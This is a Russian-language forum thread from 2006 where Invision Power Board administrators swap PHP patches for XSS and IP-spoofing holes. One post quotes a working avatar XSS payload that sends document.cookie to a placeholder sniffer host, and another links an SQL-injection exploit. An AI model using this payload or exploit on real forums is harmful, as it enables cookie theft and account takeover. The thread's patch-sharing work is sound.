cthulhu Опубликовано 1 Июля 2006 Жалоба Поделиться Опубликовано 1 Июля 2006 после этого попробуй зайти в любое объявление раздела стандартное от админа или супермодера - вылезет ошибка остальное просто ломает проверять...упс... ты прав... только ошибка вылезает, разумеется, при попытке поставить картинку...блин, стормозил, там в функции $std не "проглобалено"...надо бы еще function regex_check_image($url="") { global $ibforums;заменить на function regex_check_image($url="") { global $ibforums, $std;терь все ок...в остальных функциях все ок, добавление аватара по ссылке работает, фотки вроде тоже... 2dfc_darkmanне знаю насчет нужно, но можно... Ссылка на комментарий Поделиться на других сайтах Прочее
Vasya_zero Опубликовано 2 Июля 2006 Жалоба Поделиться Опубликовано 2 Июля 2006 К сожалению, в FAQ уязвимостей IPB исправление найти не удалось (плохо смотрел?..)Как прикрыть подобный инжект?http://forum.com/index.php?act=members&st=-1 Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 3 Июля 2006 Жалоба Поделиться Опубликовано 3 Июля 2006 Вроде офсайт клянется, что дыра только в 21х. Но Сонг у себя давно вроде для 10х и 20х предложил решение по заделыванию этой дырки. Погляди на его сайте - там всс расписано. Вот так у Сонга: вот в правилах моего раздела написано следующее:Информацию из данного раздела Форума на Sysman.Ru не разрешается публиковать или обсуждать в других источниках в сети. При необходимости оставляйте ссылки на наш форум. Главным образом данное требование объясняется желанием уменьшения распространения неточностей кода исправления узявимостей при публикации на других ресурсах по "цепочке".В данном случае это и произошло. Прежде чем говорить, что Сонг там чего-то написал надо узнать, а в действительности ли это так? Сонг вообще все выходные бухал и только сегодня опубликовал решение для 2.0.х и 1.хА ты уже тут всё порасписал и всем всё рассказал. Если уж тебе наплевать на свой скрипт, то зачем других подводить? 2Vasya_zeroВ этом топике это уже было. Ссылка на комментарий Поделиться на других сайтах Прочее
-=MIF=- Опубликовано 3 Июля 2006 Жалоба Поделиться Опубликовано 3 Июля 2006 (изменено) А ты уже тут всё порасписал и всем всё рассказал. Если уж тебе наплевать на свой скрипт, то зачем других подводить?я обычно правила не читаю. Извини.Это моя ошибка. Если это критично, то извини.Но я у тебя в патче для двухи я тоже ошибку нашел, кстати, про нее тут уже писал cthulhu Ты извини, я пост исправлю. И больше постить твои коды не буду. Изменено 3 Июля 2006 пользователем -=MIF=- Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 3 Июля 2006 Жалоба Поделиться Опубликовано 3 Июля 2006 кстати, про нее тут уже писал cthulhu например какая? Ссылка на комментарий Поделиться на других сайтах Прочее
-=MIF=- Опубликовано 3 Июля 2006 Жалоба Поделиться Опубликовано 3 Июля 2006 Уязвимости форумов Invision Power BoardУязвимости форумов Invision Power Board //----------------------------------------- // Check... //----------------------------------------- if ( $std->xss_check_url( $url ) !== TRUE ) $std function regex_check_image($url="") { global $ibforums, $std; function xss_check_url( $url ) { $url = trim( urldecode( $url ) ); if ( ! preg_match( "#^https?://(?:[^<>*\"]+|[a-z0-9/\._\- !]+)$#iU", $url ) ) { return FALSE; } return TRUE; } sources\functions.php Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 3 Июля 2006 Жалоба Поделиться Опубликовано 3 Июля 2006 В той версии что я предложил (и я её считаю правильней) функция фильтрации находится не в functions.php а в post_parser.phpпоэтому никаких global $std там не надо, и соответственно $this, а не $std. Будь внимательней. Ссылка на комментарий Поделиться на других сайтах Прочее
magic shadows Опубликовано 10 Июля 2006 Жалоба Поделиться Опубликовано 10 Июля 2006 подскажите в чём может быть ошибка или где её забыли закрыть.Суть такова стоит 2.1.6 со всеми обнавлениями (вроде) но через аватар проходит XSS java script:x=document.cookie%3Bimg=new%20Image()%3Bimg.src=%27http:// снифер /cgi-bin/s.jpg%3F%27%2Bx/*.jpg*///.gif как можно закрыть эту дырку ? Ссылка на комментарий Поделиться на других сайтах Прочее
Samurai Опубликовано 11 Июля 2006 Жалоба Поделиться Опубликовано 11 Июля 2006 Народ подскажите, каким образом кто-то логинится под админом в мое отсутствие на форуме (2.1.6)? Кража пароля исключена. В админку этот товарищ попасть не может (иначе бы попал, и в логах бы остался). Но, к примеру, заходя гостем я иногда вижу себя на форуме. Обновления безопасности вроде все стоят. В чем может быть косяк? Ссылка на комментарий Поделиться на других сайтах Прочее
GiV Опубликовано 12 Июля 2006 Жалоба Поделиться Опубликовано 12 Июля 2006 Есть такая проблема временное решение для исправления уязвимости, до выхода официального патча: Файл ./sources/ipsclass.php, найти$addrs = array(); if ( $this->vars['xforward_matching'] ) { foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f ) { $x_f = trim($x_f); if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) ) { $addrs[] = $x_f; } } } $addrs[] = $_SERVER['HTTP_CLIENT_IP']; $addrs[] = $_SERVER['REMOTE_ADDR']; $addrs[] = $_SERVER['HTTP_PROXY_USER']; //----------------------------------------- // Do we have one yet? //----------------------------------------- foreach ( $addrs as $ip ) { if ( $ip ) { $this->ip_address = $ip; break; } } //----------------------------------------- // Make sure we take a valid IP address //----------------------------------------- $this->ip_address = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $this->ip_address );Заменить на $addrs = array(); if ( $this->vars['xforward_matching'] ) { foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f ) { $x_f = trim($x_f); if ( preg_match( '/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/', $x_f ) ) { $addrs[] = $x_f; } } $addrs[] = $_SERVER['HTTP_CLIENT_IP']; $addrs[] = $_SERVER['HTTP_PROXY_USER']; } $addrs[] = $_SERVER['REMOTE_ADDR']; //----------------------------------------- // Do we have one yet? //----------------------------------------- $this->ip_address = ''; foreach ( $addrs as $ip ) { if ( preg_match( "/^([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3})$/", $ip ) ) { $this->ip_address = $ip; break; } } //----------------------------------------- // Make sure we take a valid IP address //----------------------------------------- if ( ! $this->ip_address OR empty( $this->ip_address ) ) { print "Could not determine your IP address"; exit(); } Ссылка на комментарий Поделиться на других сайтах Прочее
wrm Опубликовано 13 Июля 2006 Жалоба Поделиться Опубликовано 13 Июля 2006 Вот эти заплатки ставил:http://www.sysman.ru/index.php?showtopic=5310? Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 13 Июля 2006 Жалоба Поделиться Опубликовано 13 Июля 2006 GiV а вообще нафига вот этот регвыр:$this->ip_address = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $this->ip_address );а ? Ссылка на комментарий Поделиться на других сайтах Прочее
wrm Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 Так-с, и какую заплатку ставить?GiV'a или Song'a??? Пока поставил фикс от Сонга. Ссылка на комментарий Поделиться на других сайтах Прочее
-=MIF=- Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 Есть такая проблема временное решение для исправления уязвимости, до выхода официального патча: Файл ./sources/ipsclass.php, найти$addrs = array(); if ( $this->vars['xforward_matching'] ) { foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f ) { $x_f = trim($x_f); if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) ) { $addrs[] = $x_f; } } } $addrs[] = $_SERVER['HTTP_CLIENT_IP']; $addrs[] = $_SERVER['REMOTE_ADDR']; $addrs[] = $_SERVER['HTTP_PROXY_USER']; //----------------------------------------- // Do we have one yet? //----------------------------------------- foreach ( $addrs as $ip ) { if ( $ip ) { $this->ip_address = $ip; break; } } //----------------------------------------- // Make sure we take a valid IP address //----------------------------------------- $this->ip_address = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $this->ip_address );Заменить на $addrs = array(); if ( $this->vars['xforward_matching'] ) { foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f ) { $x_f = trim($x_f); if ( preg_match( '/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/', $x_f ) ) { $addrs[] = $x_f; } } $addrs[] = $_SERVER['HTTP_CLIENT_IP']; $addrs[] = $_SERVER['HTTP_PROXY_USER']; } $addrs[] = $_SERVER['REMOTE_ADDR']; //----------------------------------------- // Do we have one yet? //----------------------------------------- $this->ip_address = ''; foreach ( $addrs as $ip ) { if ( preg_match( "/^([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3})$/", $ip ) ) { $this->ip_address = $ip; break; } } //----------------------------------------- // Make sure we take a valid IP address //----------------------------------------- if ( ! $this->ip_address OR empty( $this->ip_address ) ) { print "Could not determine your IP address"; exit(); } IPS patch //----------------------------------------- // Sort out the accessing IP // (Thanks to Cosmos and schickb) //----------------------------------------- $addrs = array(); if ( $this->vars['xforward_matching'] ) { foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f ) { $x_f = trim($x_f); if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) ) { $addrs[] = $x_f; } } $addrs[] = $_SERVER['HTTP_CLIENT_IP']; $addrs[] = $_SERVER['HTTP_PROXY_USER']; } $addrs[] = $_SERVER['REMOTE_ADDR']; //----------------------------------------- // Do we have one yet? //----------------------------------------- foreach ( $addrs as $ip ) { if ( $ip ) { preg_match( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/", $ip, $match ); $this->ip_address = $match[1].'.'.$match[2].'.'.$match[3].'.'.$match[4]; if ( $this->ip_address AND $this->ip_address != '...' ) { break; } } } //----------------------------------------- // Make sure we take a valid IP address //----------------------------------------- if ( ! $this->ip_address OR $this->ip_address == '...' ) { print "Could not determine your IP address"; exit(); } #Backwards compat: $this->input["IP_ADDRESS"] = $this->ip_address; Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 На самом деле уязвимость с раскрытием куков вряд ли есть, потому что даже если провести UNION, резальтсет не получить.Короче, надо пробовать. Почитал я доки.REMOTE_ADDR не подменить через скрипт. Ссылка на комментарий Поделиться на других сайтах Прочее
froniki Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 На самом деле уязвимость с раскрытием куков вряд ли есть, потому что даже если провести UNION, резальтсет не получить.Короче, надо пробовать. Почитал я доки.REMOTE_ADDR не подменить через скрипт.REMOTE_ADDR не подменить зато HTTP_CLIENT_IP не проблема, поэтому данная уязвимость относиться только в основоном к 2.1.х Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 Короче для 1.х сплойт не применим.Убираю упоминание со своего сайта для 1.х Ссылка на комментарий Поделиться на других сайтах Прочее
Vini Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 Вот появился новый сплоит походу: 14.07.06 .. IPB advisory & exploitInvison Power Board v2.1 <= 2.1.6 sql injectionПодробности: Advisory#41 - _http://rst.void.ru/papers/advisory41.txt Exploit: r57ipb216gui - _http://rst.void.ru/download/r57ipb216gui.txt Взято с _http://rst.void.ru Или то что писали выше уже это лечит? Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 лечит. Ссылка на комментарий Поделиться на других сайтах Прочее
j0k3r Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 SongА я уже установил твою заплатку для 1.Х - убрать? Ссылка на комментарий Поделиться на других сайтах Прочее
Garret Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 Я думаю она абсолютно не помешает. Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 j0k3r Если оставишь ничего не сломается Ссылка на комментарий Поделиться на других сайтах Прочее
SiriuS Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 Дырявый IPB однако, знал бы что столько дырок и марок с обновлениями покупать бы не стал. Ссылка на комментарий Поделиться на других сайтах Прочее
Evgheni Опубликовано 14 Июля 2006 Жалоба Поделиться Опубликовано 14 Июля 2006 Можете пожалуйста представить официальный патч в красках, а то не понятно что редактировать.И насколько официален патч от Song'a? P.S. SiriuS, классная подпись Ссылка на комментарий Поделиться на других сайтах Прочее
Song Опубликовано 15 Июля 2006 Жалоба Поделиться Опубликовано 15 Июля 2006 Официального ещё нет.Но я не думаю, что он будет как-то отличаться от моего варианта али варианта Вани. А хотя нет, есть.Вот я его "вырезал" http://www.sysman.ru/index.php?showtopic=5...ost&p=50642 Ссылка на комментарий Поделиться на других сайтах Прочее
Рекомендуемые сообщения